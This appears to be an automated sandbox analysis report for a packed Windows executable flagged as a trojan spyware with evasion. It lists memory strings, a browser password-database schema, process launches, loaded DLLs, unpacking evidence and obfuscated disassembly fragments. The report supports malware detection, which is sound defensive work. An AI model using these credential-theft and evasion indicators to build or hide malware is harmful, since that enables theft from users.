Source: file.exe, 00000000.00000003.2279547704.0000000005C58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2266144155.0000000001350000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2278636225.0000000005C52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2266052256.0000000001410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2274694024.0000000001346000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2281281802.0000000005C56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2264351325.0000000001343000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2280501683.000000000134C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2266233758.0000000001407000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2266998702.000000000134B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2276957481.0000000005C5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2273725473.0000000001349000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2268498874.000000000134A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2272673229.0000000001350000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2262936122.000000000134E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2274143433.0000000001342000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2267192307.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2264013544.00000000013DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2269122148.0000000001425000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2266611211.0000000001347000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2268920232.0000000001427000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2266902278.000000000141D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2262497535.0000000001343000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2268777689.0000000001343000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2262603468.00000000013E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2267289593.000000000134F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2262684678.0000000001349000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2279845953.0000000001349000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2276469609.0000000005C55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2275138698.0000000001348000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2267897594.000000000134B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2268003998.000000000142E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2264869910.00000000013FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2404600419.0000000006246000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295356371.0000000001332000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2269559964.0000000001342000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2266801233.000000000134A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2265869485.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2271992346.0000000001344000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2273952236.0000000001443000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2269348308.0000000001351000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2267692893.000000000142F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2275877505.000000000134F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2264185389.0000000001345000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2269017597.0000000001342000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2269681574.0000000001437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2265302792.0000000001346000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2275287821.0000000005C54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2268289577.000000000142B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2264609472.000000000134E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2277223838.0000000005C53000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2277423151.000000000134E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2264267960.00000000013EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2267096182.0000000001421000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2280214584.0000000005C58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2264694506.00000000013FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2266705515.000000000141B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2265047757.0000000001348000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295022203.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2265768948.00000000013FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2277085532.0000000001345000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2274486161.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2278260179.000000000134A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2269229410.0000000005C5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2265131512.00000000013FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2279270670.000000000134C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2272403821.0000000005C59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2278122045.0000000005C56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2278398936.0000000005C54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2276597440.0000000001348000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2280824245.0000000005C5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2276000853.0000000005C5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9977083333333333
Source: file.exe	Static PE information: Section: ndwgcelf ZLIB complexity 0.9946400542237442

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/62@19/7

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1861147744.0000000005A48000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 44%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1936,i,6285013393734485110,13074657082886557463,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=2004,i,5650072745666498097,8566792970818888660,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1936,i,6285013393734485110,13074657082886557463,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=2004,i,5650072745666498097,8566792970818888660,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1850880 > 1048576

Source: file.exe

Static PE information: Raw size of ndwgcelf is bigger than: 0x100000 < 0x19aa00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.d70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ndwgcelf:EW;aqangyal:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ndwgcelf:EW;aqangyal:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cbfb5 should be: 0x1c42bb

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: ndwgcelf
Source: file.exe	Static PE information: section name: aqangyal
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C5E438 push 219C93C5h; mov dword ptr [esp], ebp	0_2_05C5E44B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C5D5D1 push 69A49CC4h; mov dword ptr [esp], ebx	0_2_05C5D8B3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C61DDB push ecx; mov dword ptr [esp], 3FA5ABA8h	0_2_05C64493
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C60DE2 push edi; mov dword ptr [esp], 2E9C0E00h	0_2_05C60DE4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C60DE2 push 031BDC91h; mov dword ptr [esp], ebp	0_2_05C614F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C625E8 push 3533DD70h; mov dword ptr [esp], edx	0_2_05C625F5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C625E8 push 7C32EE46h; mov dword ptr [esp], esi	0_2_05C63B66
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C625E8 push edx; mov dword ptr [esp], ecx	0_2_05C63B6A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C61DF0 push 380D76C4h; mov dword ptr [esp], edx	0_2_05C61E16
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C60D87 push edi; mov dword ptr [esp], 47FA7C24h	0_2_05C636D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C60D87 push eax; mov dword ptr [esp], ebp	0_2_05C63DA2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C62D8F push eax; mov dword ptr [esp], ebp	0_2_05C64CD3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6059D push 1C5F13DFh; mov dword ptr [esp], ebx	0_2_05C641B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C61DA3 push 287F86D6h; mov dword ptr [esp], ebx	0_2_05C61DA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6EDBE push esi; mov dword ptr [esp], edi	0_2_05C6F243
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6EDBE push ebp; mov dword ptr [esp], esi	0_2_05C6F25A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6EDBE push ecx; mov dword ptr [esp], 7CFE3600h	0_2_05C6F2AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6EDBE push edx; mov dword ptr [esp], esi	0_2_05C6F2BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6EDBE push eax; mov dword ptr [esp], ecx	0_2_05C6F332
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C5D545 push ebp; mov dword ptr [esp], 42D1A62Ch	0_2_05C5D5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C60542 push ecx; mov dword ptr [esp], 05DBAFE3h	0_2_05C6055F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C5E542 push 50DE4739h; mov dword ptr [esp], esi	0_2_05C5E547
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C5ED64 push esi; mov dword ptr [esp], edi	0_2_05C5F178
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C5ED64 push 24E7714Fh; mov dword ptr [esp], edx	0_2_05C5F306
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C5ED64 push 639AC5A9h; mov dword ptr [esp], esi	0_2_05C5F31D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6156C push 1FD5A994h; mov dword ptr [esp], edx	0_2_05C61571
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6156C push 3509047Dh; mov dword ptr [esp], eax	0_2_05C61579
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6056B push 4FF5D187h; mov dword ptr [esp], esi	0_2_05C64B46
